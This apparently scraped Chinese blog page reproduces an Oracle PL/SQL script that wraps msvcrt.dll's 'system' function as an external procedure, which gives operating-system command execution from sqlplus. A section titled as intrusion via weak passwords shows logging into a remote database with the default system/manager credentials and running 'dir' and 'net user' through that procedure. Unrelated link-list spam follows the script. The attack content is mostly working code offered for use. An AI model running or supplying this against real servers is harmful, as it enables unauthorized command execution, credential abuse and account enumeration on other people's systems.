oracle executesqlcommand,Oracle Execute Command Sql Script in Win
-- ----------------------------------------------------------------------------
-- SQL server下可以通过cmd_shell调用系统命令,其实Oracle下也可以。
--这个SQL就是建立一个类似于sql Server下cmd_shell的过程。
-- ----------------------------------------------------------------------------
-- windows下的cmd_shell
-- 在win2k下的oracle817测试成功
-- benjurry@xfocus.org
-- 使用方法:
--1、以dba 权限用sqlplus登陆oracle,
--2、假设这个文件放在d:\win_oracmd.sql,则在SQLplus中输入:@d:\win_oracmd.sql
--3、在sqlplus下输入 exec oracmd.exec ('dir > c:\dir.txt');
-- ----------------------------------------------------------------------------
CREATE OR REPLACE LIBRARY exec_shell AS 'C:\winnt\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors
补充:
利用弱口令进行入侵:
C:\>sqlplus /nolog
SQL> connect
system/manager@(description=(address_list=(address=(protocol=tcp)(host=www.xx.com)(port=1521)))(connect_data=(SERVICE_NAME=ora9i)));
SQL> exec oracmd.exec ('dir >c:\dir.txt');
PL/SQL 过程已成功完成。
SQL> exec oracmd.exec ('net user >d:\cmd.txt');
PL/SQL 过程已成功完成。
oracle executesqlcommand,Oracle Execute Command Sql Script in Win相关推荐
- oracle ora-各种常见java.sql.SQLException归结
oracle ora-各种常见java.sql.SQLException归纳 java.sql.SQLException错误! ORA-00904: --invalid column name ...
- sql oracle 自增长字段,在Oracle、MySQL、MS SQL Server中创设自动增长字段
在Oracle.MySQL.MS SQL Server中创建自动增长字段 好吧,今天面试有道题,要各个数据库怎么建立自增长字段,顺便复习一下吧,最近面试很多数据库问题... 一:Oracle Orac ...
- Oracle数据库是如何执行SQL的
文章目录 1.参考资料 2.Oracle SQL执行过程 2.1.SQL语句的执行过程 2.1.1.全局角度来看SQL请求的执行过程 2.1.2.数据库端处理SQL具体过程 2.2.Oracle对解析 ...
- Oracle数据库学习:PL/SQL(详解)
Oracle数据库学习:PL/SQL 什么是PL/SQL PL/SQL 是过程语言(Procedural Language)与结构化查询语言(SQL)结合而成的扩展语言; 使用PL/SQL 可以编写具 ...
- oracle 10046事件查看,使用oracle的10046事件跟踪SQL语句
使用oracle的10046事件跟踪SQL语句 我们在分析应用程序性能问题的时候,更多地需要关注其中SQL语句 的执行情况,因为通常应用程序的性能瓶颈会在数据库这边,因此数据库的sql语句是我们优化的 ...
- 把Oracle数据库移植到Microsoft SQL Server 7 0
分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow 也欢迎大家转载本篇文章.分享知识,造福人民,实现我们中华民族伟大复兴! 把Ora ...
- Oracle安装步骤及PL/SQL Developer连接数据库
一:Oracle安装步骤及PL/SQL Developer连接数据库 win7 64位 11g 点击(操作步骤):http://www.cnblogs.com/haoke/articles/27343 ...
- Oracle数据库查看表空间sql语句、查看Oracle数据库表空间剩余 、修改表空间、库备份
一 Oracle数据库查看表空间sql语句 1.oracle查看表空间当前用户 SQL> select username,default_tablespace from user_use ...
- 【oracle】oracle经典sql,exception,database link纠错
[oracle]oracle经典sql,exception,database link纠错 1111-01 oracle经典sql,exception,database link纠错 1.给表tabl ...
最新文章
- koa cookie使用
- vue-router 按需加载
- WF4 AttachedPropertiesService
- 《Win测试的学习笔记》——Introduction
- disruptor:CAS实现高效(伪)无锁阻塞队列实践
- NPAPI最简单的代码
- 翻译:where在Swift中的用法
- 如何安装Pycharm和汉化包(包括安装软件,无广告)
- Foobar2000中文版增强安装版
- 单龙芯3A3000-7A1000PMON研究学习-(7)撸起袖子干-make cfg 所执行的操作(d)
- C++高级编程资料汇总(参考手册+电子书+编程思想+算法分析)
- 计算某年某月某日是星期几(基姆拉尔森计算公式)
- 新手如何玩转拼多多?需要注意什么?
- 蓝色实景旅游产品手册PPT模板
- Python数据可视化之美
- Python之组合数据类型(列表、元组、字典、集合)
- Firefox旧版本及插件安装下载
- Unable to negotiate with 100.9.70.30 port 29418: no matching key exchange method found
- 无法将网络更改为桥接状态:没有未桥接的主机网络适配器
- 算法设计与智能计算 || 专题八: 拉普拉斯算子与图拉普拉斯
热门文章
- struts2文件上传一个错误的解决
- 钩子运行机制HOOK
- 浅谈HASH算法与CSDN密码泄漏事件
- c与c++中struct区别
- Gym导入Atari游戏环境报错
- Java举例include_Java StringUtils.getFilenameExtension方法代码示例
- 联想e550笔记本怎么样_预算5000-6000元笔记本电脑推荐(学生/入门/小白选购)*十二月更新...
- linux 关闭密码复杂化,Linux系统设置复杂密码策略方法
- 改变DIV的背景颜色透明度,但其中的文字不受影响?
- Mysql错误代码大全